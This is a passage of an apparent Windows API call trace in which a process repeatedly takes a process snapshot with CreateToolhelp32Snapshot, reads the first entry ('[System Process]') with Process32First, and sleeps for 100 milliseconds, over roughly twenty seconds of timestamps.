pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.163] Sleep (dwMilliseconds=0x64) [0191.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0191.243] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.343] Sleep (dwMilliseconds=0x64) [0191.395] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0191.406] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.585] Sleep (dwMilliseconds=0x64) [0191.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0191.640] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.773] Sleep (dwMilliseconds=0x64) [0191.804] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0191.819] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.947] Sleep (dwMilliseconds=0x64) [0192.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0192.017] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.143] Sleep (dwMilliseconds=0x64) [0192.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0192.202] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.314] Sleep (dwMilliseconds=0x64) [0192.352] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0192.411] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.527] Sleep (dwMilliseconds=0x64) [0192.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd5c [0192.616] Process32First (in: hSnapshot=0xd5c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.910] Sleep (dwMilliseconds=0x64) [0192.935] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0192.947] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.103] Sleep (dwMilliseconds=0x64) [0193.120] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd5c [0193.130] Process32First (in: hSnapshot=0xd5c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.237] Sleep (dwMilliseconds=0x64) [0193.289] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd5c [0193.300] Process32First (in: hSnapshot=0xd5c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.380] Sleep (dwMilliseconds=0x64) [0193.426] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0193.438] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.634] Sleep (dwMilliseconds=0x64) [0193.695] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd5c [0193.709] Process32First (in: hSnapshot=0xd5c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.004] Sleep (dwMilliseconds=0x64) [0194.042] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0194.063] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.185] Sleep (dwMilliseconds=0x64) [0194.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0194.239] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.361] Sleep (dwMilliseconds=0x64) [0194.413] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15b8 [0194.428] Process32First (in: hSnapshot=0x15b8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.548] Sleep (dwMilliseconds=0x64) [0194.689] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15b8 [0194.704] Process32First (in: hSnapshot=0x15b8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.829] Sleep (dwMilliseconds=0x64) [0194.942] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15b8 [0194.953] Process32First (in: hSnapshot=0x15b8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.076] Sleep (dwMilliseconds=0x64) [0195.130] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x102c [0195.143] Process32First (in: hSnapshot=0x102c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.311] Sleep (dwMilliseconds=0x64) [0195.348] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x102c [0195.362] Process32First (in: hSnapshot=0x102c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.534] Sleep (dwMilliseconds=0x64) [0195.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x102c [0195.656] Process32First (in: hSnapshot=0x102c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.827] Sleep (dwMilliseconds=0x64) [0195.872] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0195.947] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.123] Sleep (dwMilliseconds=0x64) [0196.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ab0 [0197.006] Process32First (in: hSnapshot=0x1ab0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.457] Sleep (dwMilliseconds=0x64) [0199.985] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0200.003] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.014] Sleep (dwMilliseconds=0x64) [0201.861] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0202.485] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.949] Sleep (dwMilliseconds=0x64) [0203.993] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0204.012] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.532] Sleep (dwMilliseconds=0x64) [0204.535] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0204.548] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.658] Sleep (dwMilliseconds=0x64) [0204.697] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0204.710] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.192] Sleep (dwMilliseconds=0x64) [0205.236] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0205.248] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.467] Sleep (dwMilliseconds=0x64) [0205.507] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0205.526] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.782] Sleep (dwMilliseconds=0x64) [0205.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0205.845] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.030] Sleep (dwMilliseconds=0x64) [0206.068] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0206.078] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.235] Sleep (dwMilliseconds=0x64) [0206.286] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0206.299] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.451] Sleep (dwMilliseconds=0x64) [0206.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0206.498] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.675] Sleep (dwMilliseconds=0x64) [0206.724] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0206.788] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.963] Sleep (dwMilliseconds=0x64) [0207.006] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0207.021] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.189] Sleep (dwMilliseconds=0x64) [0207.239] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0207.256] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.468] Sleep (dwMilliseconds=0x64) [0207.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0207.569] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.772] Sleep (dwMilliseconds=0x64) [0207.816] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0207.829] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.009] Sleep (dwMilliseconds=0x64) [0208.052] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0208.063] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.230] Sleep (dwMilliseconds=0x64) [0208.270] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0208.281] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.420] Sleep (dwMilliseconds=0x64) [0208.458] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0208.468] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.617] Sleep (dwMilliseconds=0x64) [0208.676] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0208.686] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.869] Sleep (dwMilliseconds=0x64) [0208.912] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0208.922] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.038] Sleep (dwMilliseconds=0x64) [0209.084] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0209.096] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.203] Sleep (dwMilliseconds=0x64) [0209.239] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0209.252] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.432] Sleep (dwMilliseconds=0x64) [0209.473] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0209.487] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.680] Sleep (dwMilliseconds=0x64) [0209.723] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0209.737] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.142] Sleep (dwMilliseconds=0x64) [0210.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0210.210] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.382] Sleep (dwMilliseconds=0x64) [0210.436] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0210.449] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.616] Sleep (dwMilliseconds=0x64) [0210.692] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0210.704] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.810] Sleep (dwMilliseconds=0x64) [0210.849] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0210.859] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.013] Sleep (dwMilliseconds=0x64) [0211.051] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0211.061] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.233] Sleep (dwMilliseconds=0x64) [0211.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0211.341] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.454] Sleep (dwMilliseconds=0x64) [0211.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0211.555] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.736] Sleep (dwMilliseconds=0x64) [0211.786] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0211.797] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.904] Sleep (dwMilliseconds=0x64) [0211.950] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0211.961] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.163] Sleep (dwMilliseconds=0x64) [0212.207] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0212.219] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.323] Sleep (dwMilliseconds=0x64) [0212.364] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0212.374] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.528] Sleep (dwMilliseconds=0x64) [0212.566] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0212.576] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.716] Sleep (dwMilliseconds=0x64) [0212.758] 